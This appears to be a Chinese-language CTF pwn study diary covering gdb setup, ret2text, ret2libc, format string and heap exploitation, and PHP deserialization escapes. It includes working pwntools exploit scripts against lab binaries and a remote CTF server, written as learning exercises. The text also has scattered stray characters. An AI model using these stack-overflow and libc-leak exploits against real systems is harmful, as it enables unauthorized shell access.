07.19
CTF特訓營---REVERSE閱讀
P208——P
1汰扭、X86指令體系
- 寄存器組
- 匯編指令集:Intel , AT&T
Intel的幾種指令
2史简、X64指令體系
3、反匯編與反編譯工具:IDA朝刊、HEX-RAY
以Jarvis OJ-Reverse-軟件密碼破解2為例
07.20 H4師傅書籍閱讀記錄
1当纱、環(huán)境搭建
-
查看相關版本配置
內核版本
4.15.0-72-generic
python2.7
-
gdb安裝
下載wget http://ftp.gnu.org/gnu/gdb/gdb-7.10.1.tar.gz
解壓tar -zxf gdb-7.10.1.tar.gz
補充:-c create/ -v 顯示執(zhí)行過程 /-f file / -x extract / -z gzip壓縮或ungzip解壓
./configure ---> make --->
make的時候報錯了道媚。直接嘗試apt -install gdb ,成功
gdb插件Pwndbg和peda
peda:
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
安裝到了root目錄下
Pwndbg
兩個插件交替使用:
source ~/peda/peda.py
source 目錄 gdbinit.py
/root/pwn/software/pwndbg/pwndbg
- pwntools
使用的是python2
pip install pwn
from pwn import *
使用:
p32()陪捷,打包為32位, u32()轉換為十進制
python中回窘,ord('a') = 97 chr(0x66) = f
-
ROPgadget
在程序中尋找 ROP chain 的一個輔助小工具
-
one_gadget
-
seccomp-tools
- Libc 數據庫查詢
2泊业、題目aaaaa
file查看程序信息
響應版本ida打開--->main--->F5
數字點住系吭,按h,可以10進制與16進制轉換
觀察程序邏輯镀脂,看如何能getshell
- 步驟苍碟,編寫exp酒觅,如下
from pwn import *
r = process("./aaaaaaaaaa")
r.send("a"*200) # 數量大于 99 即可
r.interactive()
-
報錯
權限不夠,沒有可執(zhí)行權限
添加 chmod a+x aaaaaaaa
執(zhí)行/bin/sh相當于開了一個shell窗口微峰。
執(zhí)行效果如下:
3舷丹、IDA Pro使用
shift + F12,查看字符串
4蜓肆、ELF文件格式
具體內容參考 : https://blog.csdn.net/mergerly/article/details/94585901
-
.text --- 存放程序的匯編字節(jié)碼
.data/.rodata 段**
用來存放已初始化的全局變量颜凯,以及已初始化的局部靜態(tài)變量。
但是嘗試的時候沒找到.bss段
猜測是因為沒有給可寫的權限仗扬?因為.bss段是可寫的症概。不對
用其他的程序來看
5、內存mapping介紹
配合pwngdb使用
6早芭、gcc的使用
- 安全編譯選項:-no-pie / -pie (關閉 / 開啟)
開啟PIE功能彼城,編譯器就會隨機化ELF文件的內存裝載基址。
7逼友、常用的X86匯編指令
jne 0x40000 // 當 eax 不等于 0 時精肃,跳轉到 0x40000 地址
jz 0x40000 // 當 eax 等于 0 時,跳轉到 0x40000 地址
8帜乞、pwngdb/peda使用
q 退出
peda:start 程序名
32位程序通過棧傳遞參數司抱,64位先通過寄存器傳遞參數,多的再通過棧傳遞黎烈。
rbp指向棧底习柠,一般都和返回地址有關
9、IDA中查看棧結構
esp是棧頂照棋,計算的時候不看他
ebp是棧底资溃,計算的時候是通過ebp的差值來計算大小的
10、ROP技術---返回導向編程(Return-oriented Programming)
中心思想:利用現有的或自己構造system("/bin/sh")
07.21
1烈炭、ssh連接溶锭,提升使用舒適感
Secure Shell(SSH),RSA加密
顏色配置原來一直不成功符隙,參考知乎趴捅,修改成功
https://www.zhihu.com/question/36048211
通過ssh連接服務器
密碼登陸的方法:
服務器端: /etc/init.d/sshd restart
netstat -tlnp | grep ssh
可以查看是否啟用了ssh服務
客戶端:ssh -p22 root@IP地址
退出登陸使用的是exit
這樣是通過密碼登陸了垫毙。雖然可以登陸,但是每次都要輸入密碼比較麻煩拱绑∽劢妫可以通過證書來登陸。
客戶端 ssh-keygen -t rsa
將公鑰復制到服務器端猎拨,并在/etc/hosts.allow文件中加入 sshd: <A machine's IP>
參考 https://www.cnblogs.com/luckycn/p/8515391.html
嘗試發(fā)現還需要密碼膀藐,
問題應該出在公鑰證書復制出錯了。
手動把文件復制過去改名字红省,成功6罡鳌!0墒选臊泰!
紀念一下:
2、解決昨天的問題
- 一個小程序蚜枢,里面字段不全,沒有.bss是為什么针饥?
答:因為Mac系統(tǒng)和Linux系統(tǒng)內部實現是不一樣的厂抽,在Linux中查看就有了。
readily -a test
- 原來編譯的時候 -static報錯丁眼,也是因為平臺不同筷凤。
3、ret2text
/root/.gdbinit
改為使用pwngdb
start day2_level0
即可開始調試
步入函數苞七,step進入
得到buf的實際地址 0x7fffffffe340
得到距離是0x88字節(jié)藐守,即136字節(jié)。返回地址是用rbp+8來計算的
IDA中查看 callsystem函數地址為:0x400596蹂风,在服務器中也是不變的卢厂。由于是.text段,所以叫ret2text.
from pwn import *
r = process('./day2_level0')
payload = 'a'*136
payload += p64(0x400596)
r.recv()
r.sendline(payload)
r.interactive()
如果不直接存在system("/bin/sh")
,需要自己構造惠啄。
3慎恒、題目-fd
http://pwnable.kr/play.php
- ls,顯示三個文件撵渡。打開fd.c
輸出flag的條件是:buf的值為LETMEWIN
反應太慢了融柬,雖然卡片很可愛,但是體驗感不佳趋距。
題目-collision
提示是MD5碰撞
要求輸入的長度是20并且check_password的結果要和hashcode相同粒氧。
4、題目:tell me something
64位文件节腐,IDA打開外盯,查看main函數摘盆,有溢出
查看gg函數
首先file文件,run,start
5门怪、ret2shellcode
.bss是可執(zhí)行的骡澈。
07.22
1、ret2shellcode
NX掷空,Windows中對應的是DEP肋殴,不能直接執(zhí)行棧上的數據。這里NX是關閉的坦弟。
首先得到s的地址是:0xffffd4cc
思想比較簡單:只有覆蓋到返回地址护锤。但是由于程序本身會復制一次,所以在覆蓋的時候就存放shellcode酿傍,會把shellcode復制到我們要執(zhí)行的區(qū)域中烙懦。
2、ret2syscall
32位赤炒,靜態(tài)鏈接氯析。
.bss和stack 都不可執(zhí)行
位置
0xffffd4bc
,
得到偏移 0x70
關于gadge,參考文章https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42530&highlight=pwn
其中講到ret指令的本質是pop eip莺褒,gadget是以ret/jmp/call等指令結尾的一小段匯編指令
,它屬于指令區(qū)掩缓,可以執(zhí)行,可以繞過NX保護遵岩。
到這里看不懂了你辣,開始看視頻看能否理解。
07.23
荒廢了一天尘执,罪過舍哄。
07.24
1、re2syscall
前提:打開了NX使得棧不可執(zhí)行誊锭。
ROPgadget的使用
使用報錯
錯誤原因是:python2.7/ROPGadge 中沒有scripts/ROPgadge表悬。自己拷貝一個
sudo cp -r scripts /usr/local/lib/python2.7/dist-packages/ROPGadget-6.3.dist-info
.版本要換成自己相應的版本,解決!
安裝個python3丧靡,參考https://www.cnblogs.com/lemon-feng/p/11208435.html
ROPgadget --binary ./二進制文件名(需要先編譯)
經詢問签孔,如果開了PIE,地址就會從0x0000000開始
/bin/sh: 0x00000000000008f8
內容思路懂了窘行,但是沒有操作饥追。
2、ret2libc
如果在上面那種情況中罐盔,沒找到system() 但绕、execve()這種系統(tǒng)級函數,就需要使用ret2libc
需要尋找基址+偏移
例題:64位。
收到的某個函數的地址要進行
puts_addr = eval(r.recvline()[:-1])
[:-1]是為了去掉接收的時候最后面的換行符捏顺,eval()是python內置函數六孵,把其內容轉換為數字。區(qū)分linux中的命令eval,它是執(zhí)行兩次的意思 =幅骄。=
payload = 填充到返回地址 + gadget改變寄存器rdi(rdi傳入字符串 bin/sh的地址) + 要調用的system函數的地址
題目文件有一點問題劫窒,也沒有操作成功。
但是拆座!上一題puts出了libc的地址主巍,如果沒有給libc的地址,需要
- 手動構造puts或writes等輸出函數
- 將其參數設置成為某個函數的got表挪凑,從而輸出表中的實際地址孕索,泄漏內存
實際操作步驟如下:
泄漏出libc的地址,調用puts.plt(puts.gots)
07.25
1躏碳、DASCTF 10:00 —— 15:00
虛假的簽到題
32位搞旭,IDA打開。(這個和真實的可能是略有差異的菇绵,因為IDA畢竟是動態(tài)調試肄渗。)
main函數存在棧溢出,函數列表中有后門函數
只要覆蓋返回地址咬最,跳轉到這個后門函數即可恳啥。類似于教程中的ret2text。
bin/sh這個字符被放在 .rodata段,
backdoor函數的地址為:0x0804857D
目的是找到這個位置到返回地址需要填充的字符的個數丹诀。
v4到返回地址的距離是0x1c字節(jié),
s的地址
它到返回地址的距離是
如果高地址在下面翁垂,在棧中的結構s是在v4上面的铆遭。先嘗試用s進行覆蓋,填充0x2c個字節(jié).
exp如下
from pwn import *
backdoor = 0x0804857D
r = process("./qiandao")
r.recvuntil("Can you solve this sign-in problem?") //這句修改
payload = 'a'*44 + p32(backdoor)
r.sendline(payload)
r.interactive
報錯原因是:應該是recvuntil 不是recvuntill...修改之后
from pwn import *
backdoor = 0x0804857D
#r = process("./qiandao")
r = remote("183.129.189.60",10013)
r.sendline('aaa')
r.recvuntil("Can you solve this sign-in problem?")
payload = 'a' * 44 + p32(backdoor)
r.sendline(payload)
r.interactive
經提示....不是棧溢出漏洞沿猜,是格式化字符串 ...??
7.26
1枚荣、ret2libc
重點是:泄漏內存。
通過自己構造puts或writes等輸出函數啼肩,參數為某個函數的got表橄妆,就可以輸出地址,泄漏內存害碾。
泄漏地址:
在export中查找到main函數的地址是:0x080484F0
pus函數的實際地址為:0xf7e4bc10
07.27
1、ret2libc
需要多做的就是泄漏內存赦拘。
GOT表中存放的是實際地址.
gdb的正確使用方法:file ---> b main ---> r
distance 0xffffd4ec $ebp+4
得到距離 0x20慌随,即32個字符。
找字段(shift + F7),.got.plt,地址為0x804a014
在gdb中查看其內容 , x 0x804a014
, 0xf7e4bc10
就是puts函數的實際地址阁猜。
exp如下:
from pwn import *
elf = ELF('./ret2libc2')
r = process("./ret2libc2")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
main_addr = 0x080484f0
payload = 'a'*32
payload += p32(elf.plt['puts'])+p32(main_addr) + p32(elf.got['puts'])
r.send(payload)
r.recvline()
libc_addr = u32(r.recv(4))-libc.symbols['puts']
success("libc_addr: " + hex(libc_addr))
r.recvuntil("Hello!")
system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + next(libc.search("/bin/sh"))
payload2 = 'a'*32
payload2 += p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
r.send(payload2)
r.interactive()
可以使用one_gadget協(xié)助, 直接找到 bin/sh
one_gadget /lib/i386-linux-gnu/libc.so.6
把原來的
system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + next(libc.search("/bin/sh"))
payload2 = 'a'*32
payload2 += p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
換為:
one_gadget = libc_addr + 0x3fd27 #根據實際內容來嘗試
payload2 = 'a'*32
payload += p32(one_gadget)
2丸逸、格式化字符串漏洞
任意讀取:
file
b main
r
輸入部分:%x
預測應該輸出的是$rbp+4的值,0xffffd554
應該找到key.txt的地址
%off $llxx , 泄漏出內存中的內容
任意寫:
pwntools中有 fmtstr_payload()
還有ida插件lazyida剃袍,但是沒安裝成功黄刚。
3、題目Tell me something(Jarvis OJ)
64位程序民效,檢查安全性憔维,NX可執(zhí)行。
IDA打開研铆,read處存在棧溢出埋同。
任務:
1、通過棧溢出棵红,把返回地址覆蓋為good_game的入口地址凶赁。
buf的地址為:0x7fffffffe400
但是rbp + 8的地址為0x4開頭的。由于這里沒有用到rbp逆甜,不能用rbp的值來計算虱肄。別人的wp里面是通過IDA查看的,但是這樣不準確交煞,有可能會發(fā)生錯誤咏窿。
手動查看的方法是:調試到ret,查看棧頂rsp的值素征。此處rsp是0x7fffffffe488
計算需要填充的字符長度為:0x88
IDA可以直接查看good_game的地址集嵌。地址為:0x00400620
寫exp
from pwn import *
r = remote("pwn.jarvisoj.com","9876")
backdoor = 0x00400620
r.recvline()
payload = 'a'*136 + p64(backdoor)
r.sendline(payload)
r.interactive()
思路較為簡單,只有一個填充/覆蓋返回地址御毅。但是我還是很棒的根欧!得到flag!6饲凤粗!
07.28
1、格式化字符串漏洞
參考文章 格式化字符串任意地址寫操作學習小計
scanf寫了之后今豆,棧頂上面還要繼續(xù)存儲其他內容嫌拣。所以在printf的時候,如果遇到了%x,并不是直接就開始從想要的地方讀了呆躲,而是從棧頂開始讀的异逐。我們多輸入幾個%x,就會一直往下讀,直到讀到了我們想要的內容插掂∮σ郏可以通過aaaa%4$x
來確定偏移,當輸出為aaaa61616161時,就讀到了我們輸入的內容箩祥。
再參考文章 https://bbs.ichunqiu.com/thread-43624-1-1.html
如果要泄漏地址院崇,就把要泄漏的地址寫入內存,用%x讀取袍祖。
任意寫的時候底瓣,getshell的方法:
(程序中原本有system函數)
構造payload方法,手動構造蕉陋。
防護措施:RELRO/FORTIFY
棧的知識暫時看完捐凭!實際的運用還是很深奧的~但是這里基礎的知識掌握了,開始看堆的內容~
2凳鬓、堆
參考文章:CTF pwn 中最通俗易懂的堆入坑指南
需要用到內存管理的知識茁肠。
ptmalloc2 堆管理器
沒有malloc的時候vmmap
查看內存,沒有heap的內容。
malloc之后再查看缩举,看到了heap的內存空間垦梆。
可以計算出大小是132KB,并且指針保存在eax中仅孩。
07.29
1托猩、講課筆記總結
堆的功能:一般有new--malloc , delete--free , show, edit。
- malloc會分配一個堆塊辽慕,并產生一個指針京腥,這個指針會存放在全局變量中。
- delete -- free , 存在uaf溅蛉,刪除后使用公浪。這是因為不刪除存放的指針。
fast bin (0x20-0x80)的漏洞:
free之后船侧,存放在main_arean區(qū)域
(每一個大星菲)內存用鏈表的方式存儲。
針對它有一種fast bin attack,本質就是修改main_arean內指針的關系勺爱,造成uaf。
修改指針讯检,指向sc,那么下次再分配時琐鲁,指針就會指向sc。
注:got表中放的是libc的實際地址人灼。
2围段、強網先鋒AP
主要功能有3個
GET---malloc
根據v0[1] - &puts, 說明堆上放了puts函數的地址投放。
在Change函數中奈泪,可以自己輸入v1, 并且后面會read這個大小。
read函數是讀一個文件描述符,并且把它讀取到buf中涝桅。
關于read函數拜姿,需要包含頭文件 #include <unistd.h>
使用格式:ssize_t read(int fd, void *buf, size_t count);
這里會修改buf的內容,存在堆溢出冯遂。
http://blog.leanote.com/post/xp0int/[Pwn]-%E5%BC%BA%E7%BD%91%E5%85%88%E9%94%8B-AP-mf
目標:獲得puts函數的地址蕊肥,并把它修改。
exp編寫如下:
先寫文件和libc
from pwn import *
p = process("./task_main")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
熟悉每個函數的用法蛤肌,明確要發(fā)送什么壁却,接受什么。把他們分別定義成函數
def get(length, name):
p.recvuntil("Choice >> \n")
p.sendline("1")
p.recvuntil("The length of my owner's name:\n")
p.sendline(str(length))
p.recvuntil("Give me my owner's name:\n")
p.send(name)
def open(idx):
p.recvuntil("Choice >> \n")
p.sendline("2")
p.recvuntil("Please tell me which tickets would you want to open?\n")
p.sendline(str(idx))
p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")
def change(idx, length, name):
p.recvuntil("Choice >> \n")
p.sendline("3")
p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
p.sendline(str(idx))
p.recvuntil("The length of my owner's name:")
p.sendline(str(length))
p.recvuntil("Give me my owner's name:\n")
p.send(name)
發(fā)送index和length的時候要用str()先封裝一下裸准。
open函數起到一個show的作用展东。
get兩次,獲得puts函數的地址炒俱。
3盐肃、由于明天要進行CTF機試,臨時抱佛腳向胡,看一些web恼蓬、逆向的題目。
WEB
關于burp suite僵芹,安裝插件SwitchyOmega
处硬,使用火狐瀏覽器。
蒜了吧拇派,我可能不適合web荷辕。看堆吧還是
4件豌、堆介紹--參考書籍CTF特訓營
fast bin
p通常都是1疮方,不參與合并,用于快速分配小內存茧彤。
按照單鏈表進行組織骡显。其他bin
雙鏈表組織,先進先出FIFO曾掂。malloc基本規(guī)則
free基本規(guī)則
5惫谤、總結一些知識點
反序列化漏洞
php
序列化:serialize() 返回字符串
從一道題目來學習
參考 https://www.freebuf.com/news/172507.html
當序列化字符串中,表示對象屬性個數的值大于實際屬性個數時珠洗,那么就會跳過wakeup方法的執(zhí)行溜歪。
某些magic函數(_開頭)在某些情況下會被自動調用。
<?php
class Student{
protected $name = 'Zhangsan';
public $sex = 'man';
function __wakeup(){
echo ' __wake is working'; echo '</br>';
echo 'I am:'.$this->name = 'zhangsan'; echo '</br>';
function __construct(){
echo '__construct is working'; echo '</br>';
echo 'I am:'.$this->name; echo '</br>';}
function __destruct(){
echo '__destruct is working'; echo '</br>';
echo 'I am:'.$this->name; echo '</br>';}
function __toString(){
echo ' __toString is working'; echo '</br>';
echo 'I am:'.$this->name = 'zhangsan'; echo '</br>';}
}
$Zhangsan = new Student;
$saveData = serialize($Zhangsan); //序列化后的字符串许蓖,可以保存在數據庫或者文本文件中蝴猪。
echo 'saveData is===>'.$saveData; echo '</br>';
?>
發(fā)現會先調用__construct
, 再調用 __destruct
參考文章https://www.cnblogs.com/litlife/p/11690918.html
數字表示長度调衰,如果可以進行修改,可能會產生漏洞自阱。
<?php
$kk = "123";
$kk_seri = serialize($kk);
echo $kk;
echo '</br>';
echo $kk_seri;
echo '</br>';
echo unserialize($kk_seri);
$not_kk_seri = 's:4:"123""';
echo unserialize($not_kk_seri);
?>
php定義一個數組的方法:
$name = array()
再分別賦值
如
$username = array();
$username[0] = "1001";
$username[1] = "1002";
$username[2] = "1003";
一個數組:含有兩項 ["1ss'4k","hi guys"] 進行序列化的結果
a:2:{i:0;s:6:"1ss'4k";i:1;s:7:"hi guys";}
如果用bad_str
進行封裝嚎莉,會把單引號換為no。
a:2:{i:0;s:6:"1ssno4k";i:1;s:7:"hi guys";}
這時候還是6個字符动壤,但明顯1ssno4k變成了7個字符萝喘,所以就會報錯。
經過特殊的方法琼懊,把前面的數字需要的字符補全阁簸,我們再自己輸入” ;
等符號進行閉合, 就把 } 后面的內容成功逃逸掉了哼丈。(這種本質有點類似sql注入)
通過觀察上面的幾個代碼我們能發(fā)現以下幾個線索
1.能讀取config.php或獲得參數的值即可獲得flag启妹。
2.update.php 28行將用戶更新信息序列化,然后傳入存入數據庫醉旦。
3.查看class.php中的update_profile()源碼饶米,發(fā)現底層先調用了filter()方法進行危險字符過濾,然后才存入數據庫车胡。
4.profile.php 16行取出用戶的作為文件名獲取文件內容并展示檬输。
5.update.php 26行可以看到的值是,因此線索4中的文件名我們并不可控匈棘。
綜合以上5點丧慈,再加上本文一開始的例子,思路基本已經出來了主卫,程序將序列化之后的字符串進行過濾逃默,導致用戶可控部分溢出,從而控制后半段的序列化字符簇搅,最終控制的值為完域,即可獲得。
這里關鍵就是中的方法瘩将,我們要找到能讓原始字符‘膨脹’的轉義吟税。
07.30
1、繼續(xù)做堆的題 --- 強網先鋒AP
GET兩次
動態(tài)調試姿现,輸入的值存放在eax中肠仪。
看地址,對應的是 建钥,對應的是藤韵。差值都是虐沥,地址對上了熊经。
執(zhí)行的是get函數泽艘。因為是64位,所以通過寄存器傳遞參數。
GET函數镐依,步入匹涮,先分配了malloc函數
輸入size的值,3, 分配malloc槐壳,
輸入名字my然低,查看寄存器的值。
之后务唐,又回到了雳攘。
還是GET,如果輸入大小的時候輸入7枫笛,nbytes的值就是6
看malloc之后內存的值是通過 x/10gx 地址
地址是rax寄存器的值吨灭。10代表可以查看的內存的數量匪凉。
malloc
2闽瓢、malloc
fastbin
smallbin